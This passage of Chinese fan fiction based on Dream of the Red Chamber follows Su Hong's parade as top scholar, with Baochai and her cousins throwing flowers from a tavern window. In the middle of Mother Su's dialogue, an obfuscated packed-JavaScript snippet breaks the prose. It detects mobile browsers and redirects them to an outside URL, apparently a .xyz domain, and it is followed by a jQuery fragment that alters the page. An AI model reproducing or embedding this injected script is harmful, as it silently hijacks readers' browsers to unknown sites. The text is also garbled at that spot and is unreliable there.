她浑不在意。神瑛侍者凡心偶炽，下凡历劫，无论成与不成都是一世，让绛珠妹子把灌溉甘露之恩还了才是正事。就算没能参悟透彻，神仙难道还在意这一两百年的时间不成？届时让神瑛侍者再投胎就是了。 她又向下看了眼僧道说的苏鸿，一眼便看出他命数有异。她凝神再看，方说道：“若论命数，他早在几年前就死了，只是不知是谁救了他。如今他身负大使命，却是不可轻动，随他去吧。” 想来，救下苏鸿的人定也是功德深厚之人，只是不知是谁。亦不知苏鸿何处又得了机缘，如今功德亦然不浅。她倒也不在意这些，她长生久视，见过奇怪的事太多，这算不上大事。 僧道二人见警幻仙姑打定主意要顺其自然，也不好忤逆，只是心中不免惭愧不如仙姑洒脱、透彻。因警幻仙姑发话，他们连入世度化凡人的兴致都减弱不少，便安心不再下界。 苏鸿不知自己已被传闻中的警幻仙姑关注到了，日间发奋读书，夜间则扛着锄头忙碌。不光学问越发深厚，连银钱也越攒越多。间或与父母、宝钗等通信，日子过得倒也快活。 时光飞逝，转眼便翻了两年。是日，正值殿试，各家凡有贡士参选殿试者，莫不翘首以盼，暗暗祈祷。苏鸿在二月间参加会试，得中会元，因而早早便入宫等候殿试。 虽是苏鸿人生大事，但苏父因被调入户部任员外郎，正是繁忙之时，不得空闲。苏母便与薛太太等带着宝钗、英莲一众姊妹，提前包下整座酒楼，预备在一甲游街时看个热闹，顺带为苏鸿壮壮声势。 ——虽说殿试名次并未出来，但每逢科考，前一甲大多是会试前三，只是名次会被微微调整。何况苏鸿举止有礼，仪容不俗，无论太上皇还是今上，见了必定都喜欢。只是她们虽心中明白，难免担忧会有意外发生。 宝钗捏着帕子坐在床边，有些紧张地向外张望着，见迟迟听不见锣鼓声心中有些焦躁。黛玉见了此情景，笑嘻嘻上前托腮道：“姐姐，人还没来呢，就是望穿了眼睛，也瞧不见姐夫呀。” 宝钗面色一红，见妈和苏婶婶坐在一处说话，没顾忌这边，扔了帕子就伸手拧向黛玉两腮。只是因黛玉生得单薄，她也不舍，轻轻拧了下就嗔道：“你就好贫嘴贫舌的，还当面编排我呢。” 黛玉笑着央告，逗得宝钗撑不住笑起来。二人透过纱窗看街道上熙熙攘攘的人群，黛玉方道：“我还没怎么到街上来呢，原来这样热闹。昔日我父亲高中探花，说不定也来了这么一街的人看热闹。” 苏母笑道：“颦丫头这话不错。当年我尚未出嫁时也就跟着我母亲一起来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298945|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一甲游街，好势派。你父亲骑着高头大马，比状元和榜眼不知道强出多少，帕子和花儿都跟不要钱一样撒了满街呢。” 黛玉从前很少听父亲、母亲说起过去的事。等她来到贾府之后，外祖母和舅母闲了时会说些母亲闺中趣事，但对父亲的过去仍是一无所知。此时听苏婶婶这样说，不由十分感兴趣，央告她再说些。 苏母所知亦不多，只偶尔听苏父提及他与林如海同在翰林院为官的三两件事。她不敢戳黛玉的伤心事，只是她想知道父母之事原也是常理，若不告诉她，她心里只怕想得更厉害。 因而便挑拣着能回忆起来的事说了，又笑道：“我与你父亲虽只有一面之缘，但你这一身的文采风流跟你父亲像了十成十。” 黛玉早已将父母双亡的苦楚尽数咽下，压在心底。今日听了父亲旧事，心中略有伤感，但更多的仍是喜悦。 说话间，便有小厮飞报：“咱们家大爷高中一甲状元！已在宫门前上了马，就往这边来了！” 闻得这般喜讯，众人俱是欢喜异常，姑娘们也连忙带上帷帽。不多时便隐隐听到锣鼓声，众人精神一震，都走到窗边，有些紧张地看着不断接近的游街队伍。 湘云生得高挑，嫌隔着窗子不爽利，干脆将窗户向外推开。她探出小半个身子张望，唬得宝钗连忙拉住她，忍俊不禁道：“跟活猴子似的，还不安安稳稳站着。这窗子也不知结实与否，怎么这样大胆。” 湘云笑嘻嘻拉着宝钗撒娇，见那一片红色要过来，连忙笑着指给宝钗和黛玉看。趁宝钗看着那边出神，又伏在黛玉和英莲耳边大声说：“快瞧，薛姐夫来了！”三人说着笑弯了腰，湘云又兴冲冲搬来小绣墩让宝琴站在上头瞧。 宝钗面上发烫，回身见苏婶婶和妈只是笑，更是羞得要掩面逃走。湘云一把拉住，笑道：“宝姐姐别走，不然咱们准备的一篓子花儿可送给谁呢？姐夫可不领我们的情，非得姐姐送才好。” 说着和黛玉、英莲一起按着宝钗不叫她走，待苏鸿快接近时，连连撺掇宝钗学其他姑娘一样扔花扔帕子。宝钗抿着唇向下瞧，见街上男女老少都说说笑笑十分热闹，纷纷扬扬的花瓣更是不待游行队伍接近就迫不及待飘下，一时也被感染。 她与苏鸿虽说一直互有通信，却并未再见过面。今日他一身状元冠带，红袍黑马，鬓旁簪花，越发显得风流俊俏、仪容不俗。他身侧虽有两人，但宝钗眼中却只剩苏鸿，连耳旁的声音也渐渐远去。 她伸手抓了一把花瓣，待苏鸿骑马接近时向下抛洒。花瓣飘扬下来，苏鸿心有所感，抬头看去，与宝钗四目相对。宝钗一惊，帕子连带着花瓣一同晃悠悠落下，苏鸿连忙打马上前，估摸着距离翻身立在马上将帕子接下。 一片哗然之声中，宝钗登时脸羞得通红，闭着眼一股脑把整篮的花瓣倒下。纪花明在苏鸿身后，见师弟被花瓣浇了一身的呆样，笑得险些连马也掌握不好。见引路的离了老远，才连忙催促苏鸿跟上。